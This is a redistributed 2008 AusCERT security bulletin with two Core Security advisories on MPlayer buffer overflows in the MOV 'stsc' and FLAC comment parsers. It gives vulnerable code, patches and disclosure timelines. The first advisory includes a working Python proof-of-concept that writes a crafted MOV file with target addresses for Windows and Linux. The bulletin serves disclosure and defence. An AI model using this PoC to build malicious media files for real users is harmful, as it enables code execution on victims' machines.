Protect yourself against future threats.
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
===========================================================================
AUSCERT External Security Bulletin Redistribution
ESB-2008.0114 -- [Win][UNIX/Linux]
MPlayer arbitrary pointer dereference and buffer overflow
5 February 2008
===========================================================================
AusCERT Security Bulletin Summary
---------------------------------
Product: MPlayer 1.0 rc2 and prior
Publisher: Core Security Technologies
Operating System: UNIX variants (UNIX, Linux, OSX)
Windows
Impact: Execute Arbitrary Code/Commands
Access: Remote/Unauthenticated
CVE Names: CVE-2008-0485 CVE-2008-0486
Original Bulletin:
http://www.coresecurity.com/index.php5?module=ContentMod&action=item&id=2102
http://www.coresecurity.com/index.php5?module=ContentMod&action=item&id=2103
Comment: This ESB contains two (2) seperate Core Security advisories
- --------------------------BEGIN INCLUDED TEXT--------------------
- -----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
Core Security Technologies - CoreLabs Advisory
http://www.coresecurity.com/corelabs
MPlayer arbitrary pointer dereference
*Advisory Information*
Title: MPlayer arbitrary pointer dereference
Advisory ID: CORE-2008-0122
Advisory URL: http://www.coresecurity.com/?action=item&id=2102
Date published: 2008-02-04
Date of last update: 2008-01-30
Vendors contacted: MPlayer team
Release mode: Coordinated release
*Vulnerability Information*
Class: Buffer overflow
Remotely Exploitable: Yes
Locally Exploitable: No
Bugtraq ID: 27499
CVE Name: CVE-2008-0485
*Vulnerability Description*
The MPlayer package [1] is vulnerable to an arbitrary pointer
dereference vulnerability, which can be exploited by malicious remote
attackers to compromise a user's system. The vulnerability is caused by
the MPlayer libmpdemux ('demux_mov.c') library not properly sanitizing
certain tags on a MOV file before using them to index an array on the
heap. This can be exploited to execute arbitrary commands by opening a
specially crafted file.
*Vulnerable Packages*
. MPlayer 1.0 rc2.
. Older versions are probably affected too, but they were not checked.
*Non-vulnerable Packages*
. MPlayer SVN HEAD after r25922 (Tue Jan 29 22:14:00 2008 UTC).
. MPlayer 1.0rc2 + security patches.
*Vendor Information, Solutions and Workarounds*
A fix for this problem was committed to SVN on the MPlayer project [2].
Users of affected MPlayer versions should download a patch [3] for
MPlayer 1.0rc2 or update to the latest version if they are using SVN.
*Credits*
This vulnerability was discovered and researched by Felipe Manzano and
Anibal Sacco from Core Security Technologies.
*Technical Description / Proof of Concept Code*
First some information from Quicktime File Format Specification (may 1996):
"A QuickTime file stores the description of the media separately from
the media data. The description, or meta-data, is called the movie and
contains information such as the number of tracks, video compression
format, and timing information. The movie also contains an index of
where all the media data is stored. The media data is all of the actual
sample data, such as video frames and audio samples. The media data may
be stored in the same file as the QuickTime movie, in a separate file,
or in several files.
...QuickTime uses two basic structures for storing information: atoms
and QT atoms. Both atoms and QT atoms allow you to construct arbitrarily
complex hierarchical data structures. Both also allow applications to
ignore data they don't understand."
An atom field has a LTV format (Length - Tag - Value) and the sizes are
the following:
/-----------
+--------------+
| Size | (32 bits)
+--------------+
| Tag | (32 bits)
+--------------+
| Payload | (variable, which could contain other atoms inside)
+--------------+
- - -----------/
The MPlayer software walks these atoms structures and parses the
'Payload' fields. The vulnerability occurs when parsing the 'stsc' atom
tag (which could be contained or not inside another atom) as we explain
below.
At 'mov_demux.c' (line 1768) an array of 'chunkmap' structures is filled
by reading data straight from file without any kind of check. Then, at
'mov_build_index()' (line 150), the 'trak->chunkmap[i].first' field is
used to index the heap array 'chunks' allowing an attacker to write the
'sdid' and 'spc' values at some memory address relative to that heap
pointer causing a memory corruption. This could be used to overwrite
function pointers or some critical data allowing an attacker to get code
execution.
Besides, it is possible to fool the parser in a way such that no memory
is allocated for the array pointed by 'trak->chunks', being initialized
to 0 (at line 1301). Doing this will remove the "relative to that heap
pointer" restriction allowing an attacker to write partially at almost
any memory address.
Why partially? Because the structure used to write is declared in this way:
/-----------
typedef struct {
unsigned int sample; // number of the first sample in the chunk
unsigned int size; // number of samples in the chunk
int desc; // for multiple codecs mode - not used
off_t pos;
} mov_chunk_t;
- - -----------/
So, being 'desc' and 'size' the controlled fields it is possible to
write at memory address: 'i*sizeof(chunk_t)+4' and 'i*sizeof(chunk_t)+8'
for any 'i' value (at lines 177 and 178).
/-----------
1755 case MOV_FOURCC('s','t','s','c'): {
1756 int temp = stream_read_dword(demuxer->stream);
1757 int len = stream_read_dword(demuxer->stream);
1758 int ver = (temp << 24);
1759 int flags = (temp << 16) | (temp << 8) | temp;
1760 int i;
1761 mp_msg(MSGT_DEMUX, MSGL_V,
1762 "MOV: %*sSample->Chunk mapping table! (%d blocks)
(ver:%d,flags:%d)\n", level, "",
1763 len, ver, flags);
1764 // read data:
1765 trak->chunkmap_size = len;
1766 trak->chunkmap = calloc(len, sizeof(mov_chunkmap_t));
1767 for (i = 0; i < len; i++) {
1768 trak->chunkmap[i].first = stream_read_dword(demuxer->stream) - 1;
1769 trak->chunkmap[i].spc = stream_read_dword(demuxer->stream);
1770 trak->chunkmap[i].sdid = stream_read_dword(demuxer->stream);
1771 }
1772 break;
1773 }
150 void mov_build_index(mov_track_t* trak,int timescale){
151 int i,j,s;
152 int last=trak->chunks_size;
153 unsigned int pts=0;
154
169 mp_msg(MSGT_DEMUX, MSGL_V, "MOV track #%d: %d chunks, %d
samples\n",trak->id,trak->chunks_size,trak->samples_size);
170 mp_msg(MSGT_DEMUX, MSGL_V, "pts=%d scale=%d
time=%5.3f\n",trak->length,trak->timescale,(float)trak->length/(float)trak->timescale);
171
172 // process chunkmap:
173 i=trak->chunkmap_size;
174 while(i>0){
175 --i;
176 for(j=trak->chunkmap[i].first;j<last;j++){
177 trak->chunks[j].desc=trak->chunkmap[i].sdid;
178 trak->chunks[j].size=trak->chunkmap[i].spc;
179 }
180 last=trak->chunkmap[i].first;
181 }
- - -----------/
In this way, as we show in the following PoC, it is possible to build a
file that contains specially crafted 'stsc' atoms allowing an attacker
to write any value in practically any address. With this clear and some
voodoo magic it is possible to write a scattered payload that builds a
fully functional shellcode on some other place to subsequently jump to.
The following PoC python code demonstrates the vulnerability.
/-----------
#!/bin/python
import struct
import sys
def mkatom(type,data):
if len(type) != 4:
raise "type must by of length 4!!!"
mov = ""
mov += struct.pack(">L",len(data)+8)
mov += type
mov += data
return mov
def poc(address, block_size):
what=struct.pack(">L", 0x41414141) * 2 # Writes an 8 bytes chunk
base= ((address - 8) / block_size) +1
ftyp = mkatom("ftyp","3gp4"+"\x00\x00\x02\x00"+"3gp4"+"3gp33gp23gp1")
mdat = mkatom("mdat","MALDAAAAAD!")
stsc = mkatom("stsc",struct.pack(">L",1) + \
struct.pack(">L",2) + \
struct.pack(">L",base) + \
what + \
struct.pack(">L",base+300)+what)
trak = mkatom("trak",stsc)
moov = mkatom("moov",trak)
file = ftyp + mdat + moov
return file
try:
if sys.argv[2] != "linux":
evilness = poc(0x0122e000, 24) #Windows XP SP2 Prof. ES
else:
evilness = poc(0x088aa020, 20) #Linux Gentoo
print "[+] Generating file: %s" % sys.argv[1]
file = open(sys.argv[1], "wb")
file.write(evilness)
file.close()
print "[+] Done."
except Exception, e:
print "[+] Usage: python mplayer_poc.py filename.mov windows (For
WinXP Prof SP2 ES)"
print " python mplayer_poc.py filename.mov linux (For
Linux Gentoo)"
- - -----------/
*Report Timeline*
. 2008-01-18: Core Security Technologies notifies the MPlayer team of
the vulnerability.
. 2008-01-18: The MPlayer team asks Core Security Technologies for
technical description of the vulnerability.
. 2008-01-22: Technical details sent to MPlayer team by Core Security
Technologies.
. 2008-01-28: MPlayer notifies Core Security Technologies that a fix has
been produced.
. 2008-02-04: CORE-2008-0122 advisory is published.
*References*
[1] http://www.mplayerhq.hu
[2]
http://svn.mplayerhq.hu/mplayer/trunk/libmpdemux/demux_mov.c?r1=25920&r2=25922
[3] http://www.mplayerhq.hu/MPlayer/patches/demux_mov_fix_20080129.diff
*About CoreLabs*
CoreLabs, the research center of Core Security Technologies, is charged
with anticipating the future needs and requirements for information
security technologies. We conduct our research in several important
areas of computer security including system vulnerabilities, cyber
attack planning and simulation, source code auditing, and cryptography.
Our results include problem formalization, identification of
vulnerabilities, novel solutions and prototypes for new technologies.
CoreLabs regularly publishes security advisories, technical papers,
project information and shared software tools for public use at:
http://www.coresecurity.com/corelabs/.
*About Core Security Technologies*
Core Security Technologies develops strategic solutions that help
security-conscious organizations worldwide develop and maintain a
proactive process for securing their networks. The company's flagship
product, CORE IMPACT, is the most comprehensive product for performing
enterprise security assurance testing. CORE IMPACT evaluates network,
endpoint and end-user vulnerabilities and identifies what resources are
exposed. It enables organizations to determine if current security
investments are detecting and preventing attacks. Core Security
Technologies augments its leading technology solution with world-class
security consulting services, including penetration testing and software
security auditing. Based in Boston, MA and Buenos Aires, Argentina, Core
Security Technologies can be reached at 617-399-6980 or on the Web at
http://www.coresecurity.com.
*Disclaimer*
The contents of this advisory are copyright (c) 2008 Core Security
Technologies and (c) 2008 CoreLabs, and may be distributed freely
provided that no fee is charged for this distribution and proper credit
is given.
*GPG/PGP Keys*
This advisory has been signed with the GPG key of Core Security
Technologies advisories team, which is available for download at
http://www.coresecurity.com/files/attachments/core_security_advisories.asc.
- -----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.7 (MingW32)
Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org
iD8DBQFHp2cUyNibggitWa0RAt6mAJ49+DbotNeLAGZsUT+GngtZsKrRJQCeOL0d
cHhAkwi751HR3NJSPFW7CxA=
=sS4h
- -----END PGP SIGNATURE-----
- -----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
Core Security Technologies - CoreLabs Advisory
http://www.coresecurity.com/corelabs
MPlayer 1.0rc2 buffer overflow vulnerability
*Advisory Information*
Title: MPlayer 1.0rc2 buffer overflow vulnerability
Advisory ID: CORE-2007-1218
Advisory URL: http://www.coresecurity.com/?action=item&id=2103
Date published: 2008-02-04
Date of last update: 2008-02-01
Vendors contacted: MPlayer and Xine team
Release mode: Coordinated release
*Vulnerability Information*
Class: Buffer overflow
Remotely Exploitable: No
Locally Exploitable: Yes
Bugtraq ID: 27441
CVE Name: CVE-2008-0486
*Vulnerability Description*
The MPlayer package [1] is vulnerable to a buffer overflow attack, which
can be exploited by malicious remote attackers. The vulnerability is due
to MPlayer not properly sanitizing certain tags on a FLAC file before
using them to index an array on the stack. This can be exploited to
execute arbitrary commands by opening a specially crafted file.
The Xine package [2], and probably other packages based on MPlayer [3],
are vulnerable to this attack too.
*Vulnerable Packages*
. MPlayer 1.0rc2 and SVN before r25917 (Tue Jan 29 22:00:58 2008 UTC).
Older versions are probably affected too, but they were not checked.
. Xine-lib 1.1.10. Other MPlayer related projects are affected too.
*Non-vulnerable Packages*
. MPlayer SVN HEAD after r25917.
. MPlayer 1.0rc2 + security patches.
*Vendor Information, Solutions and Workarounds*
A fix for this problem was committed to SVN on the MPlayer project [4].
Users of affected MPlayer versions should download a patch [5] for
MPlayer 1.0rc2 or update to the latest version if they are using SVN.
*Credits*
This vulnerability was discovered by Damian Frizza and Alfredo Ortega,
from the Exploit Writers team of Core Security Technologies.
*Technical Description / Proof of Concept Code*
The vulnerability was found in the following code, used to parse FLAC
comments inside MPlayer:
/-----------
libmpdemux/demux_audio.c
206 case FLAC_VORBIS_COMMENT:
207 {
208 /* For a description of the format please have a look at */
209 /* http://www.xiph.org/vorbis/doc/v-comment.html */
210
211 uint32_t length, comment_list_len;
212 (1) char comments[blk_len];
213 uint8_t *ptr = comments;
214 char *comment;
215 int cn;
216 char c;
217
218 if (stream_read (s, comments, blk_len) == blk_len)
219 {
220 (2) length = AV_RL32(ptr);
221 ptr += 4 + length;
222
223 comment_list_len = AV_RL32(ptr);
224 ptr += 4;
225
226 cn = 0;
227 for (; cn < comment_list_len; cn++)
228 {
229 length = AV_RL32(ptr);
230 ptr += 4;
231
232 comment = ptr;
233 (3) c = comment[length];
234 comment[length] = 0; ...
- - -----------/
We can see in (2) that the 'length' variable is being loaded from a
position on the file stream, and then used without any validation to
index the 'comment' buffer, that was allocated from the stack in (1).
This causes a stack corruption, and possibly allows code execution (e.g.
modifying the value of the 'length' variable, that is also on the stack).
Example Attack Scenario:
1) The user receives an email with an attachment called e.g.
'goodmusic.flac'.
2) The user opens the file with MPlayer or another vulnerable software.
3) This causes a stack corruption and malicious code execution on the
user computer.
*Report Timeline*
. 2007-12-18: Core Security Technologies notifies the MPlayer team of
the vulnerability (no reply received).
. 2008-01-04: A new notification of the vulnerability was sent to the
MPlayer team (no reply received).
. 2008-01-18: A new notification of the vulnerability was sent to the
MPlayer team.
. 2008-01-18: The MPlayer team asked Core Security Technologies for
technical description of the vulnerability.
. 2008-01-22: Technical details was sent to MPlayer team by Core
Security Technologies.
. 2008-01-28: MPlayer notified Core Security Technologies that a fix had
been produced.
. 2008-02-04: CORE-2007-1218 advisory was published.
*References*
[1] http://www.mplayerhq.hu
[2] http://xinehq.de/
[3] http://www.mplayerhq.hu/design7/projects.html
[4]
http://svn.mplayerhq.hu/mplayer/trunk/libmpdemux/demux_audio.c?r1=25911&r2=25917
[5] http://www.mplayerhq.hu/MPlayer/patches/demux_audio_fix_20080129.diff
*About CoreLabs*
CoreLabs, the research center of Core Security Technologies, is charged
with anticipating the future needs and requirements for information
security technologies. We conduct our research in several important
areas of computer security including system vulnerabilities, cyber
attack planning and simulation, source code auditing, and cryptography.
Our results include problem formalization, identification of
vulnerabilities, novel solutions and prototypes for new technologies.
CoreLabs regularly publishes security advisories, technical papers,
project information and shared software tools for public use at:
http://www.coresecurity.com/corelabs/.
*About Core Security Technologies*
Core Security Technologies develops strategic solutions that help
security-conscious organizations worldwide develop and maintain a
proactive process for securing their networks. The company's flagship
product, CORE IMPACT, is the most comprehensive product for performing
enterprise security assurance testing. CORE IMPACT evaluates network,
endpoint and end-user vulnerabilities and identifies what resources are
exposed. It enables organizations to determine if current security
investments are detecting and preventing attacks. Core Security
Technologies augments its leading technology solution with world-class
security consulting services, including penetration testing and software
security auditing. Based in Boston, MA and Buenos Aires, Argentina, Core
Security Technologies can be reached at 617-399-6980 or on the Web at
http://www.coresecurity.com.
*Disclaimer*
The contents of this advisory are copyright (c) 2008 Core Security
Technologies and (c) 2008 CoreLabs, and may be distributed freely
provided that no fee is charged for this distribution and proper credit
is given.
*GPG/PGP Keys*
This advisory has been signed with the GPG key of Core Security
Technologies advisories team, which is available for download at
http://www.coresecurity.com/files/attachments/core_security_advisories.asc.
- -----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.7 (MingW32)
Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org
iD8DBQFHp2riyNibggitWa0RApD/AKCtN46G9t/7fMEutRQbUx6uVKonDwCfWYcb
g+kdvVlvzynfGW8XUUI1v7w=
=Byqy
- -----END PGP SIGNATURE-----
- --------------------------END INCLUDED TEXT--------------------
You have received this e-mail bulletin as a result of your organisation's
registration with AusCERT. The mailing list you are subscribed to is
maintained within your organisation, so if you do not wish to continue
receiving these bulletins you should contact your local IT manager. If
you do not know who that is, please send an email to auscert@auscert.org.au
and we will forward your request to the appropriate person.
NOTE: Third Party Rights
This security bulletin is provided as a service to AusCERT's members. As
AusCERT did not write the document quoted above, AusCERT has had no control
over its content. The decision to follow or act on information or advice
contained in this security bulletin is the responsibility of each user or
organisation, and should be considered in accordance with your organisation's
site policies and procedures. AusCERT takes no responsibility for consequences
which may arise from following or acting on information or advice contained in
this security bulletin.
NOTE: This is only the original release of the security bulletin. It may
not be updated when updates to the original are made. If downloading at
a later date, it is recommended that the bulletin is retrieved directly
from the author's website to ensure that the information is still current.
Contact information for the authors of the original document is included
in the Security Bulletin above. If you have any questions or need further
information, please contact them directly.
Previous advisories and external security bulletins can be retrieved from:
http://www.auscert.org.au/render.html?cid=1980
If you believe that your computer system has been compromised or attacked in
any way, we encourage you to let us know by completing the secure National IT
Incident Reporting Form at:
http://www.auscert.org.au/render.html?it=3192
===========================================================================
Australian Computer Emergency Response Team
The University of Queensland
Brisbane
Qld 4072
Internet Email: auscert@auscert.org.au
Facsimile: (07) 3365 7031
Telephone: (07) 3365 4417 (International: +61 7 3365 4417)
AusCERT personnel answer during Queensland business hours
which are GMT+10:00 (AEST).
On call after hours for member emergencies only.
===========================================================================
-----BEGIN PGP SIGNATURE-----
Comment: http://www.auscert.org.au/render.html?it=1967
iQCVAwUBR6eZrSh9+71yA2DNAQIQ3gP+N1LG5YGQREiKLqW8nmcrd/T6B67vYTZQ
hgpfCemVzCRfVvJe3xR/PosDMcX2RDjO0Q0nFo2qvOrmfbAIv3/BZ9l98Pu2y78F
KWxMdyzG9ylGrieTNoflrie/869gRn+vaPGvpeceJ77PttxVJ33m9KWcMZA2mhyg
X1/y38VZqEY=
=tIpX
-----END PGP SIGNATURE-----